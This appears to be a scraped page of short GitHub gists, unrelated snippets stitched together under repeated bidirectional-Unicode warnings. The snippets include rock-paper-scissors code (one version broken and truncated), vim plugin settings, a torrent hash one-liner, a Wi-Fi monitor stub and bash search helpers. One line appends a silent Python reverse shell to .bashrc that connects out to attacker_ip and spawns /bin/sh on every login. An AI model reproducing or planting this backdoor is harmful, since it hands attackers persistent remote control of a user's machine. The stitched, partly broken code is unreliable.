This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
CHOICES = {'rock': 'scissors', 'paper': 'rock', 'scissors': 'paper'} | |
SCORES = {"user": 0, "comp": 0, 'draw': 0} | |
while not any(a == 3 for a in SCORES.values()): | |
user = input("Enter rock, paper or scissors: ") | |
SCORES[{True: "user", False: "comp"}.get( | |
CHOICES.get(user) == random.choice(list(CHOICES.keys())), 'draw')] += 1 | |
print(f'U:{SCORES["user"]}. C: {SCORES["comp"]}, D: {SCORES["draw"]}') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"""RPS""" | |
def play(): | |
scores = {"user": 0, "computer": 0} | |
while not any(a==WIN for a in scores.values): | |
print(f'Scores: U:{scores["user"]}. C: {scores["computer"]}') | |
user = None | |
comp = random.choice(CHOICES.keys()) | |
while user not in CHOICES.keys(): | |
user = raw_input("rock, paper, scissors") | |
if user == comp: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo -e "\npython2 -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((attacker_ip,attacker_port)); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn(\"/bin/sh\")' &>/dev/null & disown;" >> .bashrc |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
" Bundle Plugins | |
set nocompatible | |
set hidden | |
set encoding=utf-8 | |
filetype off | |
set rtp+=~/.vim/bundle/Vundle.vim | |
set rtp+=~/.fzf | |
call vundle#begin() | |
Plugin 'VundleVim/Vundle.vim' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
" Bundle Plugins | |
set nocompatible | |
set hidden | |
set encoding=utf-8 | |
filetype off | |
set rtp+=~/.vim/bundle/Vundle.vim | |
set rtp+=~/.fzf | |
call vundle#begin() | |
Plugin 'VundleVim/Vundle.vim' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import bencodepy, hashlib, base64 | |
base64.b32encode(hashlib.sha1(bencodepy.encode(bencodepy.decode_from_file(file_)[b'info'])).digest()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[github] | |
login= | |
password= | |
[twitter] | |
CONSUMER_KEY= | |
CONSUMER_SECRET= | |
ACCESS_TOKEN= | |
ACCESS_TOKEN_SECRET= |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import sys | |
import time | |
import os | |
import optparse | |
import pdb | |
import Tool80211 | |
airmonitor = Tool80211.Airview(sys.argv[1]) | |
airmonitor.start() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
google(){ export ua="Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3"; ( for i in $(seq 0 $2); do wget -O - --user-agent="$ua" "https://www.google.es/search?safe=off&output=search&sclient=psy-ab&q=$1&start=$((i * 10 ))"; done ) 2>/dev/null | grep -o '<a href=['"'"'"][^"'"'"']*['"'"'"]' | sed -e 's/^<a href=["'"'"']//' -e 's/["'"'"']$//'|egrep -v "^/|^#|google|javascript:void";} | |
github(){ google "site:github.com $1" 1|egrep '^https://github.com/[[:alnum:]]{0,40}/[-[:alnum:]]{0,40}$'; } | |
google_feelinglucky(){ google ${@} |head -n1; } | |
github_feelinglucky(){ github ${@} |head -n1; } | |
# git clone $(github_feelinglucky nanobenv); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
tmp=$(mktemp -d); cd $tmp | |
wget http://downloads.sourceforge.net/project/refind/0.7.5/refind-bin-0.7.5.zip?use_mirror=switch -O refind.zip | |
unzip refind; cd refind-bin-*; bash install.sh |